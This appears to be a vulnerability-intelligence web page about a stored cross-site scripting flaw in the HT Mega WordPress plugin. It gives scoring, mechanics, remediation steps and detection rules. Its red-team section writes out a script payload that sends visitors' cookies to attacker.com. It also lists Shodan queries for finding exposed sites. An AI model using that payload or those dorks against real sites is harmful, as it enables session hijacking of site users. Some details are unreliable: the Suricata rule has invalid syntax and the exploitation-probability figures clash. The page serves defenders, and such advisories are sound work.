☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-3990

CVE-2024-3990 Cross-Site Scripting in Ht mega
📅 PUBLISHED: 2024-05-09 20:03 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-3990 is a Stored Cross-Site Scripting (XSS) vulnerability in the HT Mega – Absolute Addons For Elementor WordPress plugin, affecting all versions up to and including 2.5.0. The flaw resides in the Tooltip & Popover Widget, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem, and exploitation does not involve Apache or Nginx misconfigurations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No official patch has been released as of the latest advisory. Organizations should monitor the plugin’s update channel and consider temporary removal or disabling of the vulnerable widget until a fix is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level access)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • EPSS Score: 0.0% (low exploitation probability currently)

The threat level is Medium due to the requirement for authenticated access, but the potential for widespread impact on WordPress sites using the plugin is significant.

Deep Dive & Mechanics

The vulnerability exists in the Tooltip & Popover Widget of the HT Mega plugin. The widget accepts user-supplied attributes (e.g., tooltip text, popover content) that are not properly sanitized or escaped before being stored in the WordPress database. When the widget is rendered on a page, the unsanitized input is output directly into the HTML, allowing an attacker to inject malicious JavaScript.

Attack Flow:

  1. An authenticated user with contributor-level privileges creates or edits a page/post using the HT Mega Tooltip & Popover Widget.
  2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a widget attribute (e.g., tooltip text).
  3. The payload is stored in the database without proper sanitization.
  4. When any user (including administrators) visits the page, the payload executes in their browser context.

Root Cause: The plugin uses esc_attr() or similar functions inconsistently, failing to escape output in the widget’s rendering logic. Input sanitization is also insufficient, allowing HTML and script tags to pass through.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (hypothetical):

// In widget render method
$tooltip_text = $settings['tooltip_text'];
echo '<div class="ht-tooltip" data-tooltip="' . $tooltip_text . '">...</div>';

Patched Code (hypothetical):

// In widget render method
$tooltip_text = esc_html( $settings['tooltip_text'] );
echo '<div class="ht-tooltip" data-tooltip="' . esc_attr( $tooltip_text ) . '">...</div>';

The patched version uses esc_html() for sanitization and esc_attr() for output escaping, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with HT Mega plugin version <= 2.5.0
  • Authenticated user with contributor-level access or higher

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new page or edit an existing one.
  3. Add the HT Mega Tooltip & Popover Widget to the page.
  4. In the widget settings, inject a payload into the tooltip text field, e.g.:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save/publish the page.
  6. When an administrator or other user visits the page, the script executes, exfiltrating cookies.

Proof-of-Concept (No exploit code provided):

<!-- Injected via widget attribute -->
<div class="ht-tooltip" data-tooltip="<script>alert('XSS')</script>">Hover me</div>

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual widget attribute values containing <script>, onerror, onload, or JavaScript event handlers.
  • Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to wp-admin/admin-ajax.php or page/post editing endpoints.
  • Review WordPress database for stored XSS patterns in wp_postmeta or wp_posts tables.

Defense:

  • Disable or remove the HT Mega plugin until a patch is available.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Enforce strict input validation and output escaping in custom code.
  • Limit contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

  • File Indicators:

    • Modified plugin files in /wp-content/plugins/ht-mega-for-elementor/ (check for backdoors)
    • Suspicious entries in wp_postmeta with meta_key containing ht-tooltip or ht-popover and meta_value containing <script> tags
  • Network Indicators:

    • Outbound connections to unknown domains from WordPress admin pages
    • HTTP requests containing XSS payloads in POST data to wp-admin/post.php or wp-admin/admin-ajax.php
  • Log Indicators:

    • WordPress debug log entries showing unexpected HTML/JavaScript in widget attributes
    • Web server access logs with POST requests to wp-admin/post.php containing ht-tooltip or ht-popover parameters

Detection Engineering

YARA Rule

rule CVE_2024_3990_HT_Mega_XSS {
    meta:
        description = "Detects stored XSS payloads in HT Mega plugin widget attributes"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3990"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $widget = /ht-tooltip|ht-popover/i
    condition:
        $widget and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2024-3990 HT Mega Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via HT Mega plugin widget attributes
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3990
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post.php'
        cs-uri-query|contains:
            - 'ht-tooltip'
            - 'ht-popover'
        cs-uri-query|re: '<script|onerror|onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in widget attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3990 HT Mega Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"ht-tooltip" or content:"ht-popover"; pcre:"/<script|onerror|onload>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the HT Mega plugin until an official patch is released.
  2. Remove or restrict contributor-level accounts to trusted users only.
  3. Scan WordPress database for stored XSS payloads using the YARA rule above.
  4. Implement Web Application Firewall (WAF) rules to block XSS payloads in widget attributes.

Long-Term Fix:

  • Apply the official patch once released by the vendor.
  • Update the plugin to the latest version (if patched).
  • Enforce strict input validation and output escaping in all custom WordPress development.

Workaround:

  • If the plugin cannot be disabled, modify the widget template to use esc_html() and esc_attr() on all user-supplied attributes. This requires custom development.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/ht-mega-for-elementor"
http.html:"HT Mega"
http.title:"HT Mega"
http.html:"ht-mega-for-elementor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-3990/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.